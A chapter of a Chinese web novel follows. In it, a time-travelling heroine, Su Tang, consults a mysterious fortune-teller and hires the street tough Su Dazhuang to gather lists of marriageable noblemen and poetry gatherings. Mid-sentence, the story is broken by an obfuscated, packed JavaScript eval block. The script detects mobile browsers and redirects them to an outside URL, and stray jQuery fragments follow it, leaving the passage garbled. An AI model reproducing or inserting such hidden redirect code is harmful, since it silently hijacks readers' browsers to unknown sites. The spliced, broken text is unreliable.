33. 判词

作品:《满级马甲在古代被迫从良

    翠柳居两面环水,是京中一家十分有名的茶楼。


    正值晌午,茶楼生意冷清,客流稀疏。临窗那张桌子上,却摆满了茶盏吃食。


    苏棠歪在圈椅里,望着窗外杨柳依依,柳梢儿浮在湖面上,随着暖风划出道道涟漪,眸色却有些呆愣无神。


    她已经在这儿枯坐一上午了,该用午膳的时辰,肚子咕咕打起鼓来,但她却仿佛感觉不到,一动不动。


    桌面上几道水痕,像是手沾茶水画出的数字。


    这几天苏棠心里一直盘算着,将从苏州到京城这一路的传闻,以及在京中听到的消息都做了一番汇总,一一罗列出可以为自己提供助力的方法。


    但每列出一项,后面都跟着一个大大的X。


    这些方法不是太难办到,就是已经试过了压根行不通。


    思考多了,她甚至都想就这样放弃吧,被人砸铺子坏生意这种事儿又不是常常发生的。


    便是极其倒霉碰上了,大不了像上次那样,花钱赔偿伙计们的损失,她再换个地方继续生活,反正她有马甲,东山再起太简单了。


    但是一想到这儿,就觉得憋屈得很。


    哪有被人按着打,自己还只一味逃跑的道理,那不是助长坏人气焰吗!公道正义何在!


    但是……,气愤归气愤,她现在属实是没招了……


    现在摆在她面前的只有两条路:第一,寒窗苦读,跟学了数十载的大神们拼了,考取个功名傍身,一般人等自然不敢欺辱。


    第二,按照定王的建议,找个合适的人契约成亲。


    第一条路大概是不成的,自知之明她还是有的,一想到密密麻麻的毛笔字,以及看不完的书和考不完的试,她整个心尖儿都在抖,上学时的噩梦山呼海啸劈头盖脸的就扑了过来。


    都不用尝试,想一想她就直反酸水。


    但若要她选第二这条路,这代价也太大了,以终身大事做交易,她是个现代人也狠不下心。


    所以她今日才来茶楼散散心,别把自己憋死,顺带拓展拓展视野,看能不能有什么新的好办法。


    呆坐了半日,也不见有什么成果,苏棠只好支起有些松软的身子,付了银子朝外走去。


    街市热闹,人流如织,叫卖声与嬉笑声充斥在耳边。


    正魂游天外地溜达着,忽而一阵细微的铃铛声响起。


    苏棠漫不经心地抬头望去,先映入眼帘的是一根树木修成的拐杖,还保留了树杈粗犷的结构,比人还高。


    拐杖上系着几条彩色的布条,明明是彩色的,看着却像笼着层暗色的雾气。布条下方缀着一些东西,不像铃铛,却发出与铃铛一样清脆的声音。


    拄杖的人一身黑袍,明明是大日头的正午时分,阳光带来些许燥意,他却严严实实的戴着黑色兜帽。


    兜帽将他的眼睛掩盖在黑暗里,只露出了嘴巴,却隐隐有黄色的印痕。


    苏棠还在为乍然看到的怪异打扮愣神,一道嘶哑低沉的嗓音就在耳边响起。


    “脸是借来衣,身是走马席,


    今朝张家兄,明日李家姨。”


    听清他的话,苏棠瞬间睁大了眼睛,脚步停住,随后不由自主的跟随着他的步伐。


    “这几句话是什么意思?”语气有些急切。


    然而这个怪异的拄杖人并没有停下,仿佛没听见般,自顾自地向前走去。


    苏棠跟着追上去,想要追问却又怕无意中暴露了什么,一时间不敢随意开口。


    跟在他身后走了好一会儿,出了这条闹市街,苏棠终于鼓足勇气两步上前拦住他的脚步。


    “你想跟我说什么?”


    “是姑娘心怀疑问,并非本人想说什么。”语气毫无起伏,声调冷得像地狱来的鬼魂。


    苏棠稳住有些发冷的身子,“那你刚才的话是什么意思?”


    “姑娘心中自有丘壑。”顿了顿,“不过你我二人既能相逢便是有缘,我可以回答你一个问题。”


    只有一个问题,苏棠犹豫了。


    问什么呢?是问过去,为什么偏偏是自己来到这里。还是问未来,究竟还能不能回到现代。亦或是问今后的人生该如何走下去。


    这些问题浮现在苏棠的脑海里,随即又被快速否定。


    如此宏大的问题,便是这个人回答了,她多半也是听不懂的。


    大抵这种人生判词,只有在你即将走完一生,回望过去之事时,才能明白其中的深意。


    因此,即便她现在问了,受益也不大,还不如问一些实际的问题,得到一些实际的解决方法,来得更有用一些。


    对面的人并没有露出丝毫急切的神色,一直在静静等待苏棠思考。


    她打定主意,抬头,目光坚定:“我想知道我最近纠结的这个问题,最好的解决办法是什么。”


    兜帽下的唇角微扬,露出类似慈祥的笑意。


    “你心里已经有答案了,不是吗?面前只有这一条路可以走。”


    苏棠有些恍惚,还没回过神来,那人已经绕过她继续向前走了。


    铃铛声顺着风传到苏棠耳中,空灵又飘渺。


    原地站了许久,这些时日松乏的身体一点点找到了神魂,重新振作、发愤图强起来。


    苏棠转身向后走去,一抬手,那件许久未用的贾书生马甲上了身。


    食肆街上有这么几家苍蝇食馆,杂乱、便宜、味道却极好,周围的混子们常常光顾。


    其中一家人声鼎沸的食馆里,吃饭的、喝酒的、划拳的、调笑的,吵吵闹闹乌烟瘴气。


    苏棠进去你,视线沿着一桌一桌扫过去,半晌,终于找到了那个身影。


    “苏大壮。”


    一声天外来音惊醒了划拳划得忘乎所以的人。


    苏大壮眯着眼,掠过重重人影向透进光来的门外看去。


    这——


    这不是他蹲了一段时间想见,却一直没见着的贾书生吗?


    他终于回京了?


    拨开想拉他继续喝酒划拳的同伴,苏大壮一抹嘴,颠儿颠儿的往门口跑去。


    “贾书生,我——”


    “我知道,舍妹已经跟我说了,你已经向我证实了,京城的百姓确实非常良善”。苏棠及时截住他的话头。


    “嗯,那——”


    “王文勇的事儿,你已经做得非常好了,剩下的事不是你我能解决的,我能理解”。再截。


    苏大壮表情有一丝空白,“哦,那你来找我干嘛?”


    “我需要你帮忙。”苏棠郑重的说。


    “你要我帮什么忙?”苏大壮语气透着些谨慎,毕竟跟“他”交集多次,却始终没摸清他的底细,而且每次想找人时,也从没找到过。反倒是他想找自己,一找一个准。


    这样的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243989|195501||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人让他有点本能的不安。


    这时,苏棠袖口微抬,露出来一个角,示意苏大状看去。


    苏大壮莫名地低头一看,眼睛“刷”一下亮了。


    什么不安在看到银子那一刻,都安了。


    苏棠笑了。


    “我需要两份名单,一份儿是京城内皇亲贵胄以及高官显贵家中,适婚男儿的名单。另一份儿是近些时日,京城即将举办的诗词唱和、游园雅集的时间地点,信息不用太详细,有个基础情况就行。”


    不是苏棠不想要一份更详尽的名单,只是她知道,钱可以解决大部分的问题,但不能解决所有的问题。


    以苏大壮的人脉地位,他能把这两份名单内容搜集齐,都是非常艰难的事情。


    至于剩下的,就由她自己亲自去看吧。


    见到银子最初的兴奋过后,苏大壮面露一丝犹豫,银子他当然想挣了。


    但若拿了银子,事情却办不成,这银子他拿的不安心,所以他在犹豫要不要答应这个差事。


    但好在这贾书生后面说了,只要基础情况。


    一些详细的信息,他打听不出来,比如每次雅集去了哪些公子,他们之间盘根错节的关系网等等,但哪里、什么时候办雅集,他还是能打听出来一些的。


    办一次雅集所需的人力物力极多,不少下人要为此奔波采买,因此,只要稍微注意一下,这些消息便可轻易得来。


    至于适婚男子的名单,若是连上姑娘的名单一起要,这难度还是挺大的,毕竟姑娘家的婚事大多藏着掖着,不向外宣扬,打听起来有诸多忌讳。


    但若是公子那边就好办多了。


    苏大壮痛快地答应了下来,接过那沉甸甸的一包时,他愣了一下。


    方才藏在袖子里,他没看清,如今上手一颠才知道,这重量可不少啊。


    “怎么这么多?而且事儿还没办,你就都给我了?”扣了扣装银子的布兜子,是不是有什么陷阱的想法,再次涌上苏大壮心头。


    “上次奔波一场,你为了疏通李内监,给你的一百两银子全奉了出去,你白忙了一场,这次一起补齐。”


    “而且此次收集的信息繁琐,定是要奔波不少地方,费时费力。以你一人之力,怕是难以完成,劳动别人总要给一些辛苦费的。、


    经过这几次的共事,苏棠能看出,苏大壮只是受出身条件所限,只能终日混迹市井,做些地痞流氓的勾当,但他本性还是不坏的。


    仗义、知错就改、知恩图报这些品质,都能从他身上看到。这样的人,你越信任他,他才会越发的重视你。


    苏大壮也是有些语塞,上次一事,贾书生给了他们别人不会给的平等待遇,没有因为他们的混混身份而轻视他们,也没把他们当个跑腿的渣子。


    这一次,他又展现了对他的极大信任,是他从小到大都没有感受过的美好感觉。


    原来被人信任,这么安心。让他觉得这个世界也不是这么操蛋。


    “你放心,这件事我一定给你办得漂漂亮亮的”。一字一句,掷地有声。


    苏棠知道,她赌对了。


    瀛台,是一处皇家园林。据苏大壮打听来的消息,当朝的长公主素来热衷执柯作伐、牵丝系足之事。


    春日正浓,正是冶游玩乐的好时机。长公主兴致大起,满京城的搜罗了适龄的未婚男女,聚在此处共襄盛会。